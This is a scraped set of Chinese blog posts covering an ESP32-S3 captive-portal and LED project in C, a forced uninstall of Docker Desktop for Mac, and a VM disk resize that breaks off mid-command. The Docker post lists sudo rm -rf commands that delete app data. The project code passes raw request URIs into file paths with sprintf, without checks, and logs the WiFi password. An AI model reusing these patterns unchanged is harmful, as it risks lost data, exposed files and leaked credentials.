[{"content":"\n视频链接：http://training.eeworld.com.cn/video/37657\n源码下载：http://download.eeworld.com.cn/detail/%E5%9B%A7%E5%A4%A7%E5%A4%A7%E7%8E%8B/629208\n项目介绍 该项目是基于Adafruit ESP32-S3 TFT Feather开发板的一个简单的示例，通过该示例可以学习到如何使用Adafruit ESP32-S3 TFT Feather开发板的WiFi、GPIO控制及以Neopixel LED控制等功能。\n该项目完成了\u0026quot;Follow me活动”第2期的任务1、任务2、任务3以及任务4的分任务1。\n功能介绍 基于LVGL的多页面图形界面 内置 OPPOSans 字体，支持大部分常见汉字及符号的显示 WiFi热点网页配网 日期时间显示，支持网络时钟同步 通过网络获取天气信息 板载NeoPixel LED控制，呼吸灯闪烁，支持通过按键更换闪烁颜色 在尚未进行配网时启动板卡会自动启动AP热点，通过手机连接该热点会启动CaptivePortal网页引导进行配网，配网成功后会自动关闭AP热点并连接到指定的WiFi SSID。\n配网完成后首页会显示已连接的WiFi信息以及IP地址，屏幕上方状态栏会显示日期、时间以及天气信息。\n点击屏幕左侧的Boot0按钮可切换显示页面，第二个页面是LED控制页面。进入LED控制页面会自动点亮Neopixel LED呼吸灯，在该页面长按Boot0可控制板载的Neopixel LED的颜色切换，颜色可在红绿蓝三种颜色之间进行切换，离开此页面会自动熄灭Neopixel LED。\n内置AP默认连接信息：\nSSID: https://hessian.cn/followme2 密码: followme2 连接信息可通过menuconfig进行修改\nCaptive Portal 配网界面效果 Follow me活动介绍 \u0026quot;Follow me活动”是DigiKey联合EEWORLD发起的为期一年的“跟技术大咖学技术，完成任务返现”活动。2023年共有4期，每3个月技术大咖推荐可玩性与可学性较强的开发板/仪器套件，带着大家实际操作。\n活动首页 第2期活动任务要求 任务1：控制屏幕显示中文（必做任务） 完成屏幕的控制，并且能显示中文\n任务2：网络功能使用（必做任务） 完成网络功能的使用，能够创建热点和连接到WiFi\n任务3：控制WS2812B（必做任务） 使用按键控制板载Neopixel LED的显示和颜色切换\n任务4：从下方5个分任务中选择1个感兴趣的完成即可（必做任务） 分任务1：日历\u0026amp;时钟——完成一个可通过互联网更新的万年历时钟，并显示当地的天气信息 分任务2：WS2812B效果控制——完成一个Neopixel(12灯珠或以上)控制器，通过按键和屏幕切换展示效果 分任务3：数据检测与记录——按一定时间间隔连续记录温度/亮度信息，保存到SD卡，并可以通过按键调用查看之前的信息，并在屏幕上绘图 分任务4：音乐播放功能——实现音乐播放器功能，可以在屏幕上显示列表信息和音乐信息，使用按键进行切换，使用扬声器进行播放 分任务5：AI功能应用——结合运动传感器，完成手势识别功能，至少要识别三种手势(如水平左右、前后、垂直上下、水平画圈、垂直画圈，或者更复杂手势\n任务5：通过网络控制WS2812B（可选任务，非必做） 结合123，在手机上通过网络控制板载Neopixel LED的显示和颜色切换，屏幕同步显示状态\nAdafruit ESP32-S3 TFT Feather简介 Adafruit ESP32-S3 TFT Feather是由开源硬件行业知名公司Adafruit出品的一款富有特色的开源硬件，开发板使用乐鑫ESP32-S3芯片，支持WiFi和蓝牙能，自带高清TFT彩色显示屏。\nAdafruit ESP32-S3 TFT Feather 产品信息 Adafruit ESP32-S3 TFT Feather 使用指南 Adafruit ESP32-S3 TFT Feather PCB文件 程序实现 该项目使用C语言基于ESP-IDF进行开发。项目实现参考了ESP-Box-Lite的代码，自行封装了BSP组件，主要封装了板载TFT LCD（1.14\u0026quot; ST7789）的初始化。 目前该组件已上传至Github: BSP: Adafruit ESP32-S3 TFT-Feather\n项目依赖\n## IDF Component Manager Manifest File dependencies: idf: \u0026quot;\u0026gt;=5.1\u0026quot; lvgl/lvgl: \u0026quot;8.3.8\u0026quot; espressif/esp_lvgl_port: \u0026quot;1.2.0\u0026quot; espressif/qrcode: ^0.1.0 espressif/json_generator: ^1 espressif/json_parser: =1.0.0 espressif/led_strip: \u0026quot;^2.4.3\u0026quot; 目录结构 分区表\n# Note: if you have increased the bootloader size, make sure to update the offsets to avoid overlap # Name, Type, SubType, Offset, Size, Flags sec_cert, data, , 0xd000, 0x3000, nvs, data, nvs, , 0x6000, otadata, data, ota, , 0x2000, fctry, data, nvs, , 0x6000, ota_0, app, ota_0, , 3M, storage, data, spiffs, , 500K, 联网功能处理 esp_err_t app_wifi_start(void) { ESP_LOGD(TAG, \u0026quot;app_wifi_start() ENTER\u0026quot;); wifi_init_sta(); // 检查是否已配网成功 esp_err_t err = wifi_prov_mgr_is_provisioned(\u0026amp;provisioned); ESP_ERROR_CHECK(err); ESP_LOGD(TAG, \u0026quot;isProvisioned %d\u0026quot;, provisioned); // 未配网启动AP，否则启动STA if (!provisioned) { // 启动AP wifi_start_softap(); // 启动CaptivePortal配网服务 start_captive_portal(); // 启动DNS服务器，并重定向所有域名查询到AP的IP地址 dns_server_config_t config = DNS_SERVER_CONFIG_SINGLE(\u0026quot;*\u0026quot; /* all A queries */, \u0026quot;WIFI_AP_DEF\u0026quot; /* softAP netif ID */); dns_server = start_dns_server(\u0026amp;config); } else { // 获取网络配置（已配网会自动从NVS加载） wifi_config_t config; esp_wifi_get_config(WIFI_IF_STA, \u0026amp;config); ESP_LOGD(TAG, \u0026quot;WIFI_IF_STA SSID %s / Password: %s\u0026quot;, config.sta.ssid, config.sta.password); // 启动STA wifi_start_sta(); }; // 阻塞等待网络连接就绪 xEventGroupWaitBits(wifi_event_group, WIFI_CONNECTED_EVENT, false, true, portMAX_DELAY); ESP_LOGD(TAG, \u0026quot;app_wifi_start() WAIT_WIFI_CONNECT ---\u0026gt; OK\u0026quot;); // 启动网络时间同步客户端开始同步时间 ESP_LOGD(TAG, \u0026quot;app_wifi_start() APP SNTP INIT\u0026quot;); app_sntp_init(); return ESP_OK; } Captive Portal Captive Portal 中文通常译作“强制主页”或“强制登录门户”。是一个登录Web页面，通常由网络运营商或网关在用户能够正常访问互联网之前拦截用户的请求并将一个强制登录或认证主页呈现（通常是通过浏览器）给用户。该页面可能要求用户输入认证信息、支付、接受某些条款或者其他用户授权等，随后用户才能被授权访问互联网。该技术广泛用于移动和个人宽带服务，包括有线电视、商业WiFi、家庭热点等，也可用于访问企业和住宅区有线网络。\n在这个项目中，CaptivePortal是以ESP官方的CaptivePortal demo为基础进行实现的，为了简化开发过程，CaptivePortal中的web静态文件存储到了SPIFF中。\n因为Adafruit ESP32-S3 TFT Feathe只搭载了4MB的flash，空间比较有限，我只给SPIFFS分了500K的空间，因此为了平衡体验与空间利用率，WEB 端没有采用像Bootstrap这样的前端框架，而是采用milligram.css + zepto.js 的实现，二者均是针对轻量化进行设计。\n加载SPIFFS文件逻辑\n// HTTP Error (404) Handler - Redirects all requests to the root page esp_err_t http_404_error_handler(httpd_req_t *req, httpd_err_code_t err) { char filename[HTTPD_MAX_URI_LEN+10]; sprintf(filename, CONFIG_BSP_SPIFFS_MOUNT_POINT \u0026quot;%s\u0026quot;, req-\u0026gt;uri); return send_file_response(req, filename); } httpd_handle_t start_captive_portal(void) { httpd_config_t config = HTTPD_DEFAULT_CONFIG(); config.max_open_sockets = CONFIG_LWIP_MAX_SOCKETS - 3; config.lru_purge_enable = true; config.max_resp_headers = 20; // Start the httpd server ESP_LOGI(TAG, \u0026quot;Starting server on port: '%d'\u0026quot;, config.server_port); if (httpd_start(\u0026amp;server, \u0026amp;config) == ESP_OK) { // Set URI handlers ESP_LOGI(TAG, \u0026quot;Registering URI handlers\u0026quot;); httpd_register_uri_handler(server, \u0026amp;root_action); httpd_register_uri_handler(server, \u0026amp;generate204_action); httpd_register_uri_handler(server, \u0026amp;generate_204_action); httpd_register_uri_handler(server, \u0026amp;config_action); httpd_register_uri_handler(server, \u0026amp;save_action); httpd_register_uri_handler(server, \u0026amp;wifi_scan_action); httpd_register_err_handler(server, HTTPD_404_NOT_FOUND, http_404_error_handler); } return server; } static esp_err_t send_file_response(httpd_req_t *req, char* filename) { esp_err_t ret = ESP_OK; FILE *fp = NULL; char *buf = NULL; size_t read_len = 0; fp = fopen(filename, \u0026quot;rb\u0026quot;); ESP_GOTO_ON_FALSE(fp != NULL, ESP_ERR_NOT_FOUND, err, TAG, \u0026quot;Failed to open file %s\u0026quot;, filename); buf = calloc(HTML_BUF_SIZE, sizeof(char)); if (NULL == buf) { ESP_LOGE(TAG, \u0026quot;Failed to allocate memory for buf\u0026quot;); return ESP_ERR_NO_MEM; } if (file_ext_cmp(filename, \u0026quot;js\u0026quot;)) { httpd_resp_set_type(req, \u0026quot;text/javascript\u0026quot;); } else if (file_ext_cmp(filename, \u0026quot;css\u0026quot;)) { httpd_resp_set_type(req, \u0026quot;text/css\u0026quot;); } else { httpd_resp_set_type(req, \u0026quot;text/html\u0026quot;); } while ((read_len = fread(buf, sizeof(char), HTML_BUF_SIZE, fp)) \u0026gt; 0) { httpd_resp_send_chunk(req, buf, read_len); } ESP_GOTO_ON_FALSE(feof(fp), ESP_FAIL, err, TAG, \u0026quot;Failed to read file %s error: %d\u0026quot;, filename, ferror(fp)); // chunks send finish httpd_resp_send_chunk(req, NULL, 0); err: if (fp != NULL) { fclose(fp); } if (buf != NULL) { free(buf); } if (ret == ESP_ERR_NOT_FOUND) { ret = httpd_resp_send_err(req, HTTPD_404_NOT_FOUND, \u0026quot;File does not exist\u0026quot;); } return ret; } 中文字体处理 LVGL内置的CJK宋体对一些符号和汉字的支持也不够，经常有吞字的情况。于是需要自行增加一个字体，通过查询字符表之后用以下命令转成c代码就可以嵌入到我们的工程里。\nlv_font_conv --font ./OPPOSans_L.ttf -r 0x20-0x7F -r 0x2100-0x214F -r 0x3000-0x303F -r 0x4E00-0x9FFF -r 0xFE50-0xFE6F --size 16 --format lvgl --bpp 4 --no-compress -o ~/workspace/esp/esp-followme2/main/gui/font/font_OPPOSans_L_16.c 这里我用的是OPPOSans字体16像素大小，指定了常用的ASCII字符、中英文符号和中文字符等范围，足以满足日常文本内容显示的需求。\n字符范围查询：https://jrgraphix.net/r/Unicode/ LVGL在线图标转换：https://lvgl.io/tools/imageconverter LVGL字体转换程序：https://github.com/lvgl/lv_font_conv 使用方法\nLV_FONT_DECLARE(font_OPPOSans_L_16); lv_obj_t * lab_net_state = lv_label_create(parent); lv_label_set_recolor(lab_net_state, true); lv_obj_set_style_text_font(lab_net_state, font_OPPOSans_L_16, LV_PART_MAIN); NeoPixel LED 开发板上搭载了一颗WS2812可寻址LED。在ESP-IDF环境中，我们可以使用官方组件库中的led_strip进行操作，免去自行编写驱动的过程。\nled_strip组件： https://components.espressif.com/components/espressif/led_strip\n这里要注意，这个LED的电源是直接由GPIO34提供的，使用前需要先拉高GPIO34进行供电。\n#define NEOPIX_GPIO GPIO_NUM_33 #define NEOPIX_PWR_GPIO GPIO_NUM_34 static inline void led_breath(uint32_t *color) { if (led_dir) { (*color) ++; if (*color == 0xff) { led_dir = false; } } else { (*color) --; if (*color == 0) { led_dir = true; } } } static void update_led_task(void *arg) { switch (led_color) { case 0: led_breath(\u0026amp;r); break; case 1: led_breath(\u0026amp;g); break; case 2: led_breath(\u0026amp;b); break; } led_strip_set_pixel(led_strip, 0, r, g, b); led_strip_refresh(led_strip); } static void page_led_init(void) { esp_err_t err; if (!gpio_initialized) { gpio_config_t io_conf = { .mode = GPIO_MODE_OUTPUT, .pin_bit_mask = (1ULL\u0026lt;\u0026lt;NEOPIX_PWR_GPIO), .intr_type = GPIO_INTR_DISABLE, .pull_down_en = 0, .pull_up_en = 0, }; err = gpio_config(\u0026amp;io_conf); if (err != ESP_OK) { ESP_LOGE(TAG, \u0026quot;configure GPIO for NEOPIX_PWR failed\u0026quot;); } gpio_initialized = true; } err = gpio_set_level(NEOPIX_PWR_GPIO, 1); if (err != ESP_OK) { ESP_LOGE(TAG, \u0026quot;gpio_set_level GPIO for NEOPIX_PWR failed\u0026quot;); } ESP_LOGI(TAG, \u0026quot;NEOPIX_PWR ON\u0026quot;); /* LED strip initialization with the GPIO and pixels number*/ led_strip_config_t strip_config = { .strip_gpio_num = NEOPIX_GPIO, // The GPIO that connected to the LED strip's data line .max_leds = 1, // The number of LEDs in the strip, .led_pixel_format = LED_PIXEL_FORMAT_GRB, // Pixel format of your LED strip .led_model = LED_MODEL_WS2812, // LED strip model .flags.invert_out = false, // whether to invert the output signal (useful when your hardware has a level inverter) }; led_strip_rmt_config_t rmt_config = { .clk_src = RMT_CLK_SRC_DEFAULT, // different clock source can lead to different power consumption .resolution_hz = 10 * 1000 * 1000, // 10MHz .flags.with_dma = false, // whether to enable the DMA feature }; ESP_ERROR_CHECK(led_strip_new_rmt_device(\u0026amp;strip_config, \u0026amp;rmt_config, \u0026amp;led_strip)); const esp_timer_create_args_t periodic_timer_args = { .callback = \u0026amp;update_led_task, /* name is optional, but may help identify the timer when debugging */ .name = \u0026quot;periodic\u0026quot; }; ESP_ERROR_CHECK(esp_timer_create(\u0026amp;periodic_timer_args, \u0026amp;periodic_timer)); } // LED 控制页面渲染逻辑 void page_led_render(lv_obj_t *parent) { ESP_LOGD(TAG, \u0026quot;render start\u0026quot;); if (parent == NULL) { return; } page_led_init(); lv_obj_t *lab_text = lv_label_create(parent); lv_label_set_recolor(lab_text, true); lv_obj_set_style_text_font(lab_text, main_font, LV_PART_MAIN); lv_obj_set_align(lab_text, LV_ALIGN_CENTER); lv_label_set_text_fmt(lab_text, \u0026quot;#F2C161 LED控制#\\n#CCCCCC 长按Boot0切换LED颜色#\u0026quot;); // 开始呼吸灯 1000us = 1ms ESP_ERROR_CHECK(esp_timer_start_periodic(periodic_timer, 1000)); ESP_LOGD(TAG, \u0026quot;render end\u0026quot;); } 参考资料 FreeRTOS官方文档：https://www.freertos.org/zh-cn-cmn-s/freertos-core/overview.html ESP-IDF官方文档：https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/getstarted/index.html Unicode字符范围表：https://jrgraphix.net/r/Unicode/ ","permalink":"https://hessian.cn/p/1673.html","summary":"\n视频链接：http://training.eeworld.com.cn/video/37657\n源码下载：http://download.eeworld.com.cn/detail/%E5%9B%A7%E5%A4%A7%E5%A4%A7%E7%8E%8B/629208\n项目介绍 该项目是基于Adafruit ESP32-S3 TFT Feather开发板的一个简单的示例，通过该示例可以学习到如何使用Adafruit ESP32-S3 TFT Feather开发板的WiFi、GPIO控制及以Neopixel LED控制等功能。\n该项目完成了\u0026quot;Follow me活动”第2期的任务1、任务2、任务3以及任务4的分任务1。\n功能介绍 基于LVGL的多页面图形界面 内置 OPPOSans 字体，支持大部分常见汉字及符号的显示 WiFi热点网页配网 日期时间显示，支持网络时钟同步 通过网络获取天气信息 板载NeoPixel LED控制，呼吸灯闪烁，支持通过按键更换闪烁颜色 在尚未进行配网时启动板卡会自动启动AP热点，通过手机连接该热点会启动CaptivePortal网页引导进行配网，配网成功后会自动关闭AP热点并连接到指定的WiFi SSID。\n配网完成后首页会显示已连接的WiFi信息以及IP地址，屏幕上方状态栏会显示日期、时间以及天气信息。\n点击屏幕左侧的Boot0按钮可切换显示页面，第二个页面是LED控制页面。进入LED控制页面会自动点亮Neopixel LED呼吸灯，在该页面长按Boot0可控制板载的Neopixel LED的颜色切换，颜色可在红绿蓝三种颜色之间进行切换，离开此页面会自动熄灭Neopixel LED。\n内置AP默认连接信息：\nSSID: https://hessian.cn/followme2 密码: followme2 连接信息可通过menuconfig进行修改\nCaptive Portal 配网界面效果 Follow me活动介绍 \u0026quot;Follow me活动”是DigiKey联合EEWORLD发起的为期一年的“跟技术大咖学技术，完成任务返现”活动。2023年共有4期，每3个月技术大咖推荐可玩性与可学性较强的开发板/仪器套件，带着大家实际操作。\n活动首页 第2期活动任务要求 任务1：控制屏幕显示中文（必做任务） 完成屏幕的控制，并且能显示中文\n任务2：网络功能使用（必做任务） 完成网络功能的使用，能够创建热点和连接到WiFi\n任务3：控制WS2812B（必做任务） 使用按键控制板载Neopixel LED的显示和颜色切换\n任务4：从下方5个分任务中选择1个感兴趣的完成即可（必做任务） 分任务1：日历\u0026amp;时钟——完成一个可通过互联网更新的万年历时钟，并显示当地的天气信息 分任务2：WS2812B效果控制——完成一个Neopixel(12灯珠或以上)控制器，通过按键和屏幕切换展示效果 分任务3：数据检测与记录——按一定时间间隔连续记录温度/亮度信息，保存到SD卡，并可以通过按键调用查看之前的信息，并在屏幕上绘图 分任务4：音乐播放功能——实现音乐播放器功能，可以在屏幕上显示列表信息和音乐信息，使用按键进行切换，使用扬声器进行播放 分任务5：AI功能应用——结合运动传感器，完成手势识别功能，至少要识别三种手势(如水平左右、前后、垂直上下、水平画圈、垂直画圈，或者更复杂手势\n任务5：通过网络控制WS2812B（可选任务，非必做） 结合123，在手机上通过网络控制板载Neopixel LED的显示和颜色切换，屏幕同步显示状态\nAdafruit ESP32-S3 TFT Feather简介 Adafruit ESP32-S3 TFT Feather是由开源硬件行业知名公司Adafruit出品的一款富有特色的开源硬件，开发板使用乐鑫ESP32-S3芯片，支持WiFi和蓝牙能，自带高清TFT彩色显示屏。\nAdafruit ESP32-S3 TFT Feather 产品信息 Adafruit ESP32-S3 TFT Feather 使用指南 Adafruit ESP32-S3 TFT Feather PCB文件 程序实现 该项目使用C语言基于ESP-IDF进行开发。项目实现参考了ESP-Box-Lite的代码，自行封装了BSP组件，主要封装了板载TFT LCD（1.14\u0026quot; ST7789）的初始化。 目前该组件已上传至Github: BSP: Adafruit ESP32-S3 TFT-Feather\n项目依赖\n## IDF Component Manager Manifest File dependencies: idf: \u0026quot;\u0026gt;=5.1\u0026quot; lvgl/lvgl: \u0026quot;8.3.8\u0026quot; espressif/esp_lvgl_port: \u0026quot;1.2.0\u0026quot; espressif/qrcode: ^0.1.0 espressif/json_generator: ^1 espressif/json_parser: =1.0.0 espressif/led_strip: \u0026quot;^2.4.3\u0026quot; 目录结构 分区表\n# Note: if you have increased the bootloader size, make sure to update the offsets to avoid overlap # Name, Type, SubType, Offset, Size, Flags sec_cert, data, , 0xd000, 0x3000, nvs, data, nvs, , 0x6000, otadata, data, ota, , 0x2000, fctry, data, nvs, , 0x6000, ota_0, app, ota_0, , 3M, storage, data, spiffs, , 500K, 联网功能处理 esp_err_t app_wifi_start(void) { ESP_LOGD(TAG, \u0026quot;app_wifi_start() ENTER\u0026quot;); wifi_init_sta(); // 检查是否已配网成功 esp_err_t err = wifi_prov_mgr_is_provisioned(\u0026amp;provisioned); ESP_ERROR_CHECK(err); ESP_LOGD(TAG, \u0026quot;isProvisioned %d\u0026quot;, provisioned); // 未配网启动AP，否则启动STA if (!provisioned) { // 启动AP wifi_start_softap(); // 启动CaptivePortal配网服务 start_captive_portal(); // 启动DNS服务器，并重定向所有域名查询到AP的IP地址 dns_server_config_t config = DNS_SERVER_CONFIG_SINGLE(\u0026quot;*\u0026quot; /* all A queries */, \u0026quot;WIFI_AP_DEF\u0026quot; /* softAP netif ID */); dns_server = start_dns_server(\u0026amp;config); } else { // 获取网络配置（已配网会自动从NVS加载） wifi_config_t config; esp_wifi_get_config(WIFI_IF_STA, \u0026amp;config); ESP_LOGD(TAG, \u0026quot;WIFI_IF_STA SSID %s / Password: %s\u0026quot;, config.sta.ssid, config.sta.password); // 启动STA wifi_start_sta(); }; // 阻塞等待网络连接就绪 xEventGroupWaitBits(wifi_event_group, WIFI_CONNECTED_EVENT, false, true, portMAX_DELAY); ESP_LOGD(TAG, \u0026quot;app_wifi_start() WAIT_WIFI_CONNECT ---\u0026gt; OK\u0026quot;); // 启动网络时间同步客户端开始同步时间 ESP_LOGD(TAG, \u0026quot;app_wifi_start() APP SNTP INIT\u0026quot;); app_sntp_init(); return ESP_OK; } Captive Portal Captive Portal 中文通常译作“强制主页”或“强制登录门户”。是一个登录Web页面，通常由网络运营商或网关在用户能够正常访问互联网之前拦截用户的请求并将一个强制登录或认证主页呈现（通常是通过浏览器）给用户。该页面可能要求用户输入认证信息、支付、接受某些条款或者其他用户授权等，随后用户才能被授权访问互联网。该技术广泛用于移动和个人宽带服务，包括有线电视、商业WiFi、家庭热点等，也可用于访问企业和住宅区有线网络。\n在这个项目中，CaptivePortal是以ESP官方的CaptivePortal demo为基础进行实现的，为了简化开发过程，CaptivePortal中的web静态文件存储到了SPIFF中。\n因为Adafruit ESP32-S3 TFT Feathe只搭载了4MB的flash，空间比较有限，我只给SPIFFS分了500K的空间，因此为了平衡体验与空间利用率，WEB 端没有采用像Bootstrap这样的前端框架，而是采用milligram.css + zepto.js 的实现，二者均是针对轻量化进行设计。\n加载SPIFFS文件逻辑\n// HTTP Error (404) Handler - Redirects all requests to the root page esp_err_t http_404_error_handler(httpd_req_t *req, httpd_err_code_t err) { char filename[HTTPD_MAX_URI_LEN+10]; sprintf(filename, CONFIG_BSP_SPIFFS_MOUNT_POINT \u0026quot;%s\u0026quot;, req-\u0026gt;uri); return send_file_response(req, filename); } httpd_handle_t start_captive_portal(void) { httpd_config_t config = HTTPD_DEFAULT_CONFIG(); config.max_open_sockets = CONFIG_LWIP_MAX_SOCKETS - 3; config.lru_purge_enable = true; config.max_resp_headers = 20; // Start the httpd server ESP_LOGI(TAG, \u0026quot;Starting server on port: '%d'\u0026quot;, config.server_port); if (httpd_start(\u0026amp;server, \u0026amp;config) == ESP_OK) { // Set URI handlers ESP_LOGI(TAG, \u0026quot;Registering URI handlers\u0026quot;); httpd_register_uri_handler(server, \u0026amp;root_action); httpd_register_uri_handler(server, \u0026amp;generate204_action); httpd_register_uri_handler(server, \u0026amp;generate_204_action); httpd_register_uri_handler(server, \u0026amp;config_action); httpd_register_uri_handler(server, \u0026amp;save_action); httpd_register_uri_handler(server, \u0026amp;wifi_scan_action); httpd_register_err_handler(server, HTTPD_404_NOT_FOUND, http_404_error_handler); } return server; } static esp_err_t send_file_response(httpd_req_t *req, char* filename) { esp_err_t ret = ESP_OK; FILE *fp = NULL; char *buf = NULL; size_t read_len = 0; fp = fopen(filename, \u0026quot;rb\u0026quot;); ESP_GOTO_ON_FALSE(fp != NULL, ESP_ERR_NOT_FOUND, err, TAG, \u0026quot;Failed to open file %s\u0026quot;, filename); buf = calloc(HTML_BUF_SIZE, sizeof(char)); if (NULL == buf) { ESP_LOGE(TAG, \u0026quot;Failed to allocate memory for buf\u0026quot;); return ESP_ERR_NO_MEM; } if (file_ext_cmp(filename, \u0026quot;js\u0026quot;)) { httpd_resp_set_type(req, \u0026quot;text/javascript\u0026quot;); } else if (file_ext_cmp(filename, \u0026quot;css\u0026quot;)) { httpd_resp_set_type(req, \u0026quot;text/css\u0026quot;); } else { httpd_resp_set_type(req, \u0026quot;text/html\u0026quot;); } while ((read_len = fread(buf, sizeof(char), HTML_BUF_SIZE, fp)) \u0026gt; 0) { httpd_resp_send_chunk(req, buf, read_len); } ESP_GOTO_ON_FALSE(feof(fp), ESP_FAIL, err, TAG, \u0026quot;Failed to read file %s error: %d\u0026quot;, filename, ferror(fp)); // chunks send finish httpd_resp_send_chunk(req, NULL, 0); err: if (fp != NULL) { fclose(fp); } if (buf != NULL) { free(buf); } if (ret == ESP_ERR_NOT_FOUND) { ret = httpd_resp_send_err(req, HTTPD_404_NOT_FOUND, \u0026quot;File does not exist\u0026quot;); } return ret; } 中文字体处理 LVGL内置的CJK宋体对一些符号和汉字的支持也不够，经常有吞字的情况。于是需要自行增加一个字体，通过查询字符表之后用以下命令转成c代码就可以嵌入到我们的工程里。\nlv_font_conv --font ./OPPOSans_L.ttf -r 0x20-0x7F -r 0x2100-0x214F -r 0x3000-0x303F -r 0x4E00-0x9FFF -r 0xFE50-0xFE6F --size 16 --format lvgl --bpp 4 --no-compress -o ~/workspace/esp/esp-followme2/main/gui/font/font_OPPOSans_L_16.c 这里我用的是OPPOSans字体16像素大小，指定了常用的ASCII字符、中英文符号和中文字符等范围，足以满足日常文本内容显示的需求。\n字符范围查询：https://jrgraphix.net/r/Unicode/ LVGL在线图标转换：https://lvgl.io/tools/imageconverter LVGL字体转换程序：https://github.com/lvgl/lv_font_conv 使用方法\nLV_FONT_DECLARE(font_OPPOSans_L_16); lv_obj_t * lab_net_state = lv_label_create(parent); lv_label_set_recolor(lab_net_state, true); lv_obj_set_style_text_font(lab_net_state, font_OPPOSans_L_16, LV_PART_MAIN); NeoPixel LED 开发板上搭载了一颗WS2812可寻址LED。在ESP-IDF环境中，我们可以使用官方组件库中的led_strip进行操作，免去自行编写驱动的过程。\nled_strip组件： https://components.espressif.com/components/espressif/led_strip\n这里要注意，这个LED的电源是直接由GPIO34提供的，使用前需要先拉高GPIO34进行供电。\n#define NEOPIX_GPIO GPIO_NUM_33 #define NEOPIX_PWR_GPIO GPIO_NUM_34 static inline void led_breath(uint32_t *color) { if (led_dir) { (*color) ++; if (*color == 0xff) { led_dir = false; } } else { (*color) --; if (*color == 0) { led_dir = true; } } } static void update_led_task(void *arg) { switch (led_color) { case 0: led_breath(\u0026amp;r); break; case 1: led_breath(\u0026amp;g); break; case 2: led_breath(\u0026amp;b); break; } led_strip_set_pixel(led_strip, 0, r, g, b); led_strip_refresh(led_strip); } static void page_led_init(void) { esp_err_t err; if (!gpio_initialized) { gpio_config_t io_conf = { .mode = GPIO_MODE_OUTPUT, .pin_bit_mask = (1ULL\u0026lt;\u0026lt;NEOPIX_PWR_GPIO), .intr_type = GPIO_INTR_DISABLE, .pull_down_en = 0, .pull_up_en = 0, }; err = gpio_config(\u0026amp;io_conf); if (err != ESP_OK) { ESP_LOGE(TAG, \u0026quot;configure GPIO for NEOPIX_PWR failed\u0026quot;); } gpio_initialized = true; } err = gpio_set_level(NEOPIX_PWR_GPIO, 1); if (err != ESP_OK) { ESP_LOGE(TAG, \u0026quot;gpio_set_level GPIO for NEOPIX_PWR failed\u0026quot;); } ESP_LOGI(TAG, \u0026quot;NEOPIX_PWR ON\u0026quot;); /* LED strip initialization with the GPIO and pixels number*/ led_strip_config_t strip_config = { .strip_gpio_num = NEOPIX_GPIO, // The GPIO that connected to the LED strip's data line .max_leds = 1, // The number of LEDs in the strip, .led_pixel_format = LED_PIXEL_FORMAT_GRB, // Pixel format of your LED strip .led_model = LED_MODEL_WS2812, // LED strip model .flags.invert_out = false, // whether to invert the output signal (useful when your hardware has a level inverter) }; led_strip_rmt_config_t rmt_config = { .clk_src = RMT_CLK_SRC_DEFAULT, // different clock source can lead to different power consumption .resolution_hz = 10 * 1000 * 1000, // 10MHz .flags.with_dma = false, // whether to enable the DMA feature }; ESP_ERROR_CHECK(led_strip_new_rmt_device(\u0026amp;strip_config, \u0026amp;rmt_config, \u0026amp;led_strip)); const esp_timer_create_args_t periodic_timer_args = { .callback = \u0026amp;update_led_task, /* name is optional, but may help identify the timer when debugging */ .name = \u0026quot;periodic\u0026quot; }; ESP_ERROR_CHECK(esp_timer_create(\u0026amp;periodic_timer_args, \u0026amp;periodic_timer)); } // LED 控制页面渲染逻辑 void page_led_render(lv_obj_t *parent) { ESP_LOGD(TAG, \u0026quot;render start\u0026quot;); if (parent == NULL) { return; } page_led_init(); lv_obj_t *lab_text = lv_label_create(parent); lv_label_set_recolor(lab_text, true); lv_obj_set_style_text_font(lab_text, main_font, LV_PART_MAIN); lv_obj_set_align(lab_text, LV_ALIGN_CENTER); lv_label_set_text_fmt(lab_text, \u0026quot;#F2C161 LED控制#\\n#CCCCCC 长按Boot0切换LED颜色#\u0026quot;); // 开始呼吸灯 1000us = 1ms ESP_ERROR_CHECK(esp_timer_start_periodic(periodic_timer, 1000)); ESP_LOGD(TAG, \u0026quot;render end\u0026quot;); } 参考资料 FreeRTOS官方文档：https://www.freertos.org/zh-cn-cmn-s/freertos-core/overview.html ESP-IDF官方文档：https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/getstarted/index.html Unicode字符范围表：https://jrgraphix.net/r/Unicode/ ","title":"基于Adafruit ESP32-S3 TFT Feather的网络应用开发实践"},{"content":"Docker Desktop for Mac 4.6 增加了一个新特性VirtioFS（戳这里看Docker官方Blog介绍），虽然截止目前（4.7版本）为止还是实验性的（Experimental），但是98%的文件读写性能提升还是太有诱惑力了。\n昨天手欠开了一下想尝试一番，结果点击Apply之后就一直转圈圈，等了2个钟头之后我放弃了。然后重启Docker，发现无法启动，这下就懵了。\nDocker Desktop stopped 通过查看日志发现com.docker.virtualization报错：Invalid virtual machine configuration.\n无奈之下只好选择重新安装。\n结果不管是删除后重新安装还是降级到4.5，还是一样的问题。始终无法正常启动，猜测应该是有配置没删干净。期间尝试各种姿势删除Docker，包括官方提供的命令行删除也没有起作用。\n最后经过一番查找分析，得出以下命令：\nsudo rm -rf /Applications/Docker.app sudo rm -rf /private/var/folders/0y/frd89c5s3yx4pg6fjbn9d8j00000gn/C/com.electron.dockerdesktop rm -rf ~/Library/Containers/com.docker.docker rm -rf ~/Library/Application\\ Support/Docker\\ Desktop rm -rf ~/Library/Saved\\ Application\\ State/com.electron.dockerdesktop.savedState rm -rf ~/Library/HTTPStorages/com.docker.docker rm -rf ~/Library/Caches/com.docker.docker rm -rf ~/Library/Group\\ Containers/group.com.docker rm -rf ~/Library/Application\\ Support/com.bugsnag.Bugsnag/com.docker.docker 注意第二行的路径需要自己查找一下，中间部分会有区别。\n","permalink":"https://hessian.cn/p/1664.html","summary":"Docker Desktop for Mac 4.6 增加了一个新特性VirtioFS（戳这里看Docker官方Blog介绍），虽然截止目前（4.7版本）为止还是实验性的（Experimental），但是98%的文件读写性能提升还是太有诱惑力了。\n昨天手欠开了一下想尝试一番，结果点击Apply之后就一直转圈圈，等了2个钟头之后我放弃了。然后重启Docker，发现无法启动，这下就懵了。\n","title":"彻底删除Docker Desktop for Mac"},{"content":"# 先停止虚拟机 virsh stop test-server-1 # 修改磁盘镜像大小 qemu-img resize test-server-data +100G # 进入虚拟机后pvresize pvresize -v /dev/vdb # 扩展lv空间 lvextend -l +100%FREE /dev/mapper/vgdata-data # 调整文件系统大小，这里是ext4的文件系统，用resize2fs，在此之前还需要先执行e2fsck e2fsck -f 